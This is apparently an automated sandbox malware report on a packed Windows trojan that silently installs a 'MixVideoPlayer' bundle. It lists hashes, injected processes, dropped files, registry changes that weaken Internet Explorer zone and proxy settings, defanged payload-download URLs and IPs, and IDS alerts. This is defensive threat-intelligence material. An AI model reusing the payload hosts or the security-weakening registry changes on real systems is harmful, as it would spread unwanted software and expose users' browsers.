MD5: 396bd4470d5e0694ebd37ef578212ae0
SHA1: 171e97ce624c49844d2bc626405ddb5e435d053d
SHA256: 2e9a5eb29451b58afff81da8f510d9a031df31cb07cead07ae56fd1fe28c351e
SSDeep: 12288:As9eJNhvHIzi0SRHxmVUOXem8MXv4LnroIEf/bWjD5bCETr CAImjCcj04PYi1:As9eJTyil8UOX9xXv4von/KhbjTzAYg
Size: 692680 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2015-12-30 11:08:49
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

LTV2.exe:1328
LTV2.exe:912
mixvideoplayersetup.exe:224

The Trojan injects its code into the following process(es):

%original file name%.exe:272
MixVideoPlayer.exe:2548

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:272 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\style[1].css (114 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\progress-level[1].png (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\MixVideoPlayerSetup[1].exe (1750362 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\loading-install[1].gif (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\i-download[1].png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\msjava[1].dll (465777 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\progress-bar[1].png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\style[1].css (11995 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\bullet-short[1].gif (54 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%System%\wbem\Logs\wbemprox.log (225 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Setup Wizard\0d2b223b-a78d-4f28-97f9-a2022b7c8da0\mixvideoplayersetup.exe (1750362 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\MixVideoPlayerSetup[1].exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\dd49bd219cbd01f57c0247abd593edaec102a939928946cbd3305ab43ea5cab1b917e59fbda789e62c197bc3a2ad35431925a7e64db7be00[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\04a6907ac555a4db3bae8fe38443eddaf5b0b41c05f2b5fb3f09bbeb82d024c435ee728ae2c00f4d189177cd993b2b7a79a5c798dbfa0fdb[1].txt (0 bytes)

The process mixvideoplayersetup.exe:224 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\MixVideoPlayer\Languages\ChineseT.ini (3 bytes)
%Program Files%\MixVideoPlayer\LTV2.exe (6 bytes)
%Program Files%\MixVideoPlayer\Controls\ifishplayer-icon2.ico (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst3.tmp\NSISdl.dll (14 bytes)
%Program Files%\MixVideoPlayer\Languages\Polish.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst3.tmp\SimpleSC.dll (1856 bytes)
%Program Files%\MixVideoPlayer\Languages\Swedish.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Ukrainian.ini (5 bytes)
%Program Files%\MixVideoPlayer\FrameworkControl.exe (14184 bytes)
%Program Files%\MixVideoPlayer\Languages\Lithuanian.ini (3 bytes)
%Program Files%\MixVideoPlayer\Microsoft.Win32.TaskScheduler.dll (8560 bytes)
%Program Files%\MixVideoPlayer\references\Newtonsoft.Json.dll (15536 bytes)
%Program Files%\MixVideoPlayer\policy.2.0.taglib-sharp.dll (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Indonesian.ini (3 bytes)
%Program Files%\MixVideoPlayer\references\ffmpeg.exe (202301 bytes)
%Program Files%\MixVideoPlayer\Languages\Portuguese.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst3.tmp\AccessControl.dll (13 bytes)
%Program Files%\MixVideoPlayer\Languages\HaitianCreole.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Arabic.ini (4 bytes)
%Program Files%\MixVideoPlayer\Languages\Turkish.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Catalan.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\ChineseS.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Hebrew.ini (4 bytes)
%Program Files%\MixVideoPlayer\Languages\Dutch.ini (3 bytes)
%Program Files%\MixVideoPlayer\dotNetFx40_Full_setup.exe (30344 bytes)
%Program Files%\MixVideoPlayer\mixvideoplayer.affcode (3 bytes)
%Program Files%\MixVideoPlayer\Windows\Thumbs.db (1856 bytes)
%Program Files%\MixVideoPlayer\Languages\Slovak.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst3.tmp\ZipDLL.dll (6360 bytes)
%Program Files%\MixVideoPlayer\Languages\Finnish.ini (3 bytes)
%Program Files%\MixVideoPlayer\icon.ico (12536 bytes)
%Program Files%\MixVideoPlayer\mixvideoplayer.uidnum (23 bytes)
%Program Files%\MixVideoPlayer\references\policy.2.0.taglib-sharp.dll (3 bytes)
%Program Files%\MixVideoPlayer\Languages\English.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Latvian.ini (3 bytes)
%Program Files%\MixVideoPlayer\policy.2.0.taglib-sharp.config (377 bytes)
%Program Files%\MixVideoPlayer\Languages\Thai.ini (5 bytes)
%Program Files%\MixVideoPlayer\references\extvideo.png (146 bytes)
%Program Files%\MixVideoPlayer\references\folder.png (472 bytes)
%Program Files%\MixVideoPlayer\BrowserWeb.exe (4992 bytes)
%Program Files%\MixVideoPlayer\references\extaudio.png (310 bytes)
%Program Files%\MixVideoPlayer\Languages\Spanish.ini (3 bytes)
%Program Files%\MixVideoPlayer\references\taglib-sharp.dll (15536 bytes)
%Program Files%\MixVideoPlayer\references\policy.2.0.taglib-sharp.config (377 bytes)
%Program Files%\MixVideoPlayer\references\Interop.SHDocVw.dll (5064 bytes)
%Program Files%\MixVideoPlayer\Languages\Russian.ini (5 bytes)
%Program Files%\MixVideoPlayer\taglib-sharp.dll (15536 bytes)
%Program Files%\MixVideoPlayer\mixUpdater.exe (13368 bytes)
%Program Files%\MixVideoPlayer\references\NDde.dll (3616 bytes)
%Program Files%\MixVideoPlayer\Snowplow.Tracker.dll (784 bytes)
%Program Files%\MixVideoPlayer\MixVideoPlayer.exe (83154 bytes)
%Program Files%\MixVideoPlayer\Languages\Slovenian.ini (3 bytes)
%Program Files%\MixVideoPlayer\DeleteTasks.exe (10 bytes)
%Program Files%\MixVideoPlayer\references\Thumbs.db (5 bytes)
%Program Files%\MixVideoPlayer\references\libreria.png (244 bytes)
%Program Files%\MixVideoPlayer\Languages\Norwegian.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd2.tmp (178105 bytes)
%Program Files%\MixVideoPlayer\Languages\Japanese.ini (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst3.tmp\nsProcess.dll (4 bytes)
%Program Files%\MixVideoPlayer\Languages\Greek.ini (5 bytes)
%Program Files%\MixVideoPlayer\Languages\Danish.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Bulgarian.ini (5 bytes)
%Program Files%\MixVideoPlayer\Languages\Hindi.ini (6 bytes)
%Program Files%\MixVideoPlayer\Languages\German.ini (3 bytes)
%Program Files%\MixVideoPlayer\NLog.dll (14184 bytes)
%Program Files%\MixVideoPlayer\references\PhotoLoader.dll (784 bytes)
%Program Files%\MixVideoPlayer\Languages\Italian.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Korean.ini (3 bytes)
%Program Files%\MixVideoPlayer\PhotoLoader.dll (784 bytes)
%Program Files%\MixVideoPlayer\Languages\Czech.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Romanian.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Hungarian.ini (3 bytes)
%Program Files%\MixVideoPlayer\icon-uninstall.ico (3616 bytes)
%Program Files%\MixVideoPlayer\references\mixChecker.exe (27704 bytes)
%Program Files%\MixVideoPlayer\references\ffmpeg.zip (862334 bytes)
%Program Files%\MixVideoPlayer\Sider.dll (5064 bytes)
%Program Files%\MixVideoPlayer\LTVNetSdk.dll (15 bytes)
%Program Files%\MixVideoPlayer\Languages\French.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Vietnamese.ini (4 bytes)
%Program Files%\MixVideoPlayer\Controls\Thumbs.db (1552 bytes)
%Program Files%\MixVideoPlayer\Newtonsoft.Json.dll (16944 bytes)
%Program Files%\MixVideoPlayer\Languages\Estonian.ini (3 bytes)
%Program Files%\MixVideoPlayer\Windows\logopeq-icon.ico (9608 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsy1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst3.tmp (0 bytes)

Registry activity

The process %original file name%.exe:272 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "%original file name%.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1451466529"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A7 D1 44 3B 04 0F FD A0 76 69 CA 9A AC 0F 61 1C"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Application Data\Setup Wizard\0d2b223b-a78d-4f28-97f9-a2022b7c8da0]
"mixvideoplayersetup.exe" = "mixvideoplayersetup"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Internet Explorer]
"iexplore.exe" = "Internet Explorer"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process LTV2.exe:1328 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "18 11 C9 11 5A 1B E5 1E 17 F9 B0 33 C9 5E EB 0D"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\LTV2\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\LTV2\DEBUG]
"Trace Level"

The process LTV2.exe:912 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EF 4B D7 DA D3 B7 0B F5 FC ED 4E C4 7C 4A F0 B0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

The process mixvideoplayersetup.exe:224 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".AAC" = ""
".mov" = ""
".MP3" = ""
".mp4" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".3gp" = ""
".mpeg" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\Applications\MixVideoPlayer.exe]
"(Default)" = ""

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".aif" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".mpg" = ""

[HKCR\Applications\MixVideoPlayer.exe\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".flv" = ""
".WAV" = ""

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9D 7B B7 D9 E8 E0 04 5E FE 69 E3 A3 33 9E B9 AB"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".avi" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".wma" = ""
".divx" = ""

[HKCR\Applications\MixVideoPlayer.exe]
"FriendlyAppName" = "MixVideoPlayer"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".mkv" = ""
".wmv" = ""

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 295
2ebc77007317b3984401b2395ce3b045
69bbf6ba378cad4cf4cf094f5af6b122
202a147c91949bbbf55288beaae2ac36
223898169676d4f4e70d01ead1124683
f06e17e72aef96178cda1ccc7deed644
42a68511943dc378c005ca54bf06723b
b9db4f80a07c2269856225636c125d5d
d7b0f0f6e90269b731a0fe94145a8537
9da2cc631ee3e7d03f32b47310427634
87003c9a7bf843eafc36dac02daf376c
69d6b5ab710559371cbc48cdcbbc255f
bff89fe3a5cc571efbe296e60ebc4d0b
f914908774a7ececa6cec2c5e7bed74c
fa8076ba093eb87c310b5a4f732a1043
d08e34d9c9f8215195b49bc102e80511
a2019832037d56b4b06537532f96b68c
fd90aed79221c2df74aa1fd18b7ff801
8deb6be1ae61cce0f6250280e3f273ad
8bb75a0398b4d098221f2713f85fdbde
41e105e5d45e7ae62ced20e5f575934d
caeeb1aeb8294f1907c90033467e5f73
7a48b7344157d0c443722ac8478c8ff9
bb4f17cbdf697dc9ad1bfa3798ec0a91
94fa777dfc88672815b1462451c10640
730645be6ffce7d48401752e3e14efaa
77f890ff333f7363dd48e7e0c2f7ff3e

URLs

URL	IP
hxxp://api.youmagnos.com/	54.148.207.14
hxxp://static.youmagnos.com/d5/msjava.dll	52.32.70.45
hxxp://api.youmagnos.com/99337b01e9530b69b86fc1310859167cbcc79c09381bc88879fecbc51ff412bed8543ea82eecf9a6bd28bf7f8c115b7f28655687cc58f0d79110a91fe105cca827b5ea24c1b89ed9e8077f57a58a710fc6659e643e819a8ddcb3e46fa8cfe52769081b031bdc66cc	54.148.207.14
hxxp://api.youmagnos.com/04a6907ac555a4db3bae8fe38443eddaf5b0b41c05f2b5fb3f09bbeb82d024c435ee728ae2c00f4d189177cd993b2b7a79a5c798dbfa0fdb	54.148.207.14
hxxp://api.youmagnos.com/maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/style.css	54.148.207.14
hxxp://api.youmagnos.com/__maxpower__/render_template/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab?language_code=en	54.148.207.14
hxxp://api.youmagnos.com/maxpower-static/apps/34/68794/css/style.css	54.148.207.14
hxxp://api.youmagnos.com/__maxpower__/render_screen/2014/11/d1187d84-6a69-11e4-b052-06a3579b0dab/screen_variation=I_link	54.148.207.14
hxxp://api.youmagnos.com/maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/i-download.png	54.148.207.14
hxxp://api.youmagnos.com/maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/loading-install.gif	54.148.207.14
hxxp://staticrr.tgusrv.com/sdb/84/MixVideoPlayerSetup.exe
hxxp://api.youmagnos.com/maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/progress-bar.png	54.148.207.14
hxxp://api.youmagnos.com/maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/progress-level.png	54.148.207.14
hxxp://www.youmagnos.com/BesH3gE9/pop-up/	54.186.187.58
hxxp://www.youmagnos.com/lpresources/js/linkv2.js	54.186.187.58
hxxp://www.youmagnos.com/lpresources/js/ainj.js	54.186.187.58
hxxp://www.youmagnos.com/lpresources/js/dlStoragev1.js	54.186.187.58
hxxp://www.youmagnos.com/mh/53a811d55f1c1e744b000002/2307c835-660a-4bd8-a3df-031d9af89e85/53a811d55f1c1e744b000002/default/media/js/jquery-1.11.1.min.js	54.186.187.58
hxxp://n149adserv.com/js/show_ads.js	204.155.152.38
hxxp://api.youmagnos.com/dd49bd219cbd01f57c0247abd593edaec102a939928946cbd3305ab43ea5cab1b917e59fbda789e62c197bc3a2ad35431925a7e64db7be00	54.148.207.14
hxxp://api.youmagnos.com/__maxpower__/render_screen/2014/10/e8150ca4-4ae4-11e4-be98-06a3579b0dab/screen_variation=f_link	54.148.207.14
hxxp://api.youmagnos.com/maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/bullet-short.gif	54.148.207.14
hxxp://staticrr.tgusrv.com/sdb/df/ffmpeg.zip
hxxp://staticrr.getmixvideo.com/sdb/84/MixVideoPlayerSetup.exe	52.25.133.123
hxxp://staticrr.mixvideoplayer.com/sdb/df/ffmpeg.zip	52.25.133.123
ssl.google-analytics.com	216.58.214.200

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/i-download.png HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.youmagnos.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/png

Date: Fri, 26 Feb 2016 23:23:37 GMT

ETag: "54fdc5af-cfd"

Last-Modified: Mon, 09 Mar 2015 16:09:19 GMT

Server: nginx

Content-Length: 3325

Connection: keep-alive
.PNG........IHDR...*...*........[....tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
